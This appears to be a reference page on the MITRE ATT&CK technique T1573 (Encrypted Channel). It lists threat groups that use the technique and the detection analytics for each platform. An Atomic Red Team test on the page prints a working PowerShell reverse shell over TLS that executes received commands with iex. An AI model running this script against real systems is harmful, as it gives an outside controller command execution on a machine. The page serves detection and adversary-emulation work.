tfMITRE ATT&CK technique

Encrypted Channel T1573

Tactic: Command and Control
Platforms: ESXi, Linux, macOS, Network Devices, Windows
Version: 1.2
Created: 16 March 2020
Last modified: 24 October 2025

Sub-techniques 213 rules across the family · 8 mapped directly to T1573 · 1 of 2 carry rules

.001Symmetric Cryptography0 .002Asymmetric Cryptography5

Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups70th pct

Threat groups70th percentile · 70% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 24%

Tools & malware76th percentile · 76% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules71st pct

Detection rules71st percentile · 71% of ATT&CK techniques have this many detection rules written or fewer.

Encrypted Channel MITRE reference T1573

70th pctamong all ATT&CK techniques for number of groups

4 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

BITTERG1002 ↗

Has encrypted their C2 communications.1

created 2022-06-011 referenceaka T-APT-17

Tropic TrooperG0081 ↗

Has encrypted traffic with the C2 to prevent network detection.1

created 2019-01-291 referenceaka Pirate Panda

Magic HoundG0059 ↗

Has used an encrypted http proxy in C2 communications.1

created 2018-01-161 referenceaka TA453

APT29G0016 ↗

Has used multiple layers of encryption within malware to protect C2 communication.1

created 2017-05-311 referenceaka IRON RITUAL

All 4 groups for this technique

Offense vs defense T1573

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 2

first rule: 2021 Q3 · 1 of 2 campaigns plotted (Triton Safety Instrumented System Attack (dated 2017) falls before the 2018 window)

Encrypted Channel detection strategy DET0273

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Encrypted Channel across OS Platforms

Enterprise

5 platforms

AN0759 · Windows

Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedEncryptedProcesses	Whitelist processes expected to use TLS (e.g., browsers, mail clients).
EntropyThreshold	Payload randomness threshold to distinguish C2 encryption from legitimate traffic.
TimeWindow	Correlation window between process creation, module load, and encrypted connection.

AN0760 · Linux

Processes like curl, wget, python, socat, or custom binaries initiating TLS/SSL sessions to non-standard destinations. Defender sees abnormal syscalls for connect(), loading of libssl libraries, and persistent outbound encrypted traffic from daemons not normally communicating externally.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	linux:osquery	Processes linked with libssl or crypto libraries making outbound connections
Application Log ContentDC0038	linux:syslog	system daemons initiating TLS sessions outside expected services
Network Connection CreationDC0082	auditd:SYSCALL	socket/connect with TLS context by unexpected process

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
WhitelistedDaemons	Legitimate system services expected to use TLS (e.g., package updates).
CertificateAuthorities	Trusted CAs; flag self-signed or unrecognized certs.

AN0761 · macOS

Applications or launchd jobs initiating encrypted TLS traffic to rare external hosts. Defender observes unified logs showing ssl/TLS API calls by processes not baseline-approved, and payload entropy suggesting encrypted C2 sessions.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	Process invoking SSL routines from Security framework
Network Traffic ContentDC0085	macos:unifiedlog	Encrypted session initiation by unexpected binary

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
DoHResolvers	Known legitimate DoH endpoints to reduce false positives.
PayloadEntropyThreshold	High-entropy traffic deviations used to detect concealed channels.

AN0762 · ESXi

VMware management daemons or guest processes initiating encrypted connections outside expected vCenter, update servers, or internal comms. Defender identifies hostd or vpxa initiating outbound TLS flows with uncommon destinations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	esxi:vpxd	TLS session established by ESXi service to unapproved endpoint
Network Traffic ContentDC0085	esxi:vmkernel	Inspection of sockets showing encrypted sessions from non-baseline processes

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedMgmtHosts	Baseline approved endpoints for vCenter or update services.

AN0763 · Network Devices

Unusual TLS tunnels through ports not normally encrypted (e.g., TLS on port 8080, 53). Defender sees NetFlow/IPFIX or packet inspection indicating high-entropy traffic volumes and asymmetric client/server exchange ratios.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	NSM:Flow	Session records with TLS-like byte patterns
Network Traffic ContentDC0085	NSM:Connections	Abnormal certificate chains or non-standard ports carrying TLS

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
PortProfiles	Define expected TLS port usage to flag anomalies.
TrafficAsymmetryRatio	Sent/received byte thresholds to catch hidden C2.

Tests1ExecutorsPowerShell 1Need elevation0 of 1Have prerequisites0Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

OpenSSL C2

windows

PowerShell

—

Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926 Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.

Input arguments

Name	Type	Default	Description
server_ip	string	127.0.0.1	IP of the external server
server_port	string	443	The port to connect to on the external server

Attack command

$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

GUID0c4f9953-b282-43b1-aead-bf91a0dc2da0

Tests from Atomic Red Team (MIT licence) · technique definition

Encrypted Channel detections T1573

8 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

71st pctamong all ATT&CK techniques for number of rules

Product

(none) 1

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs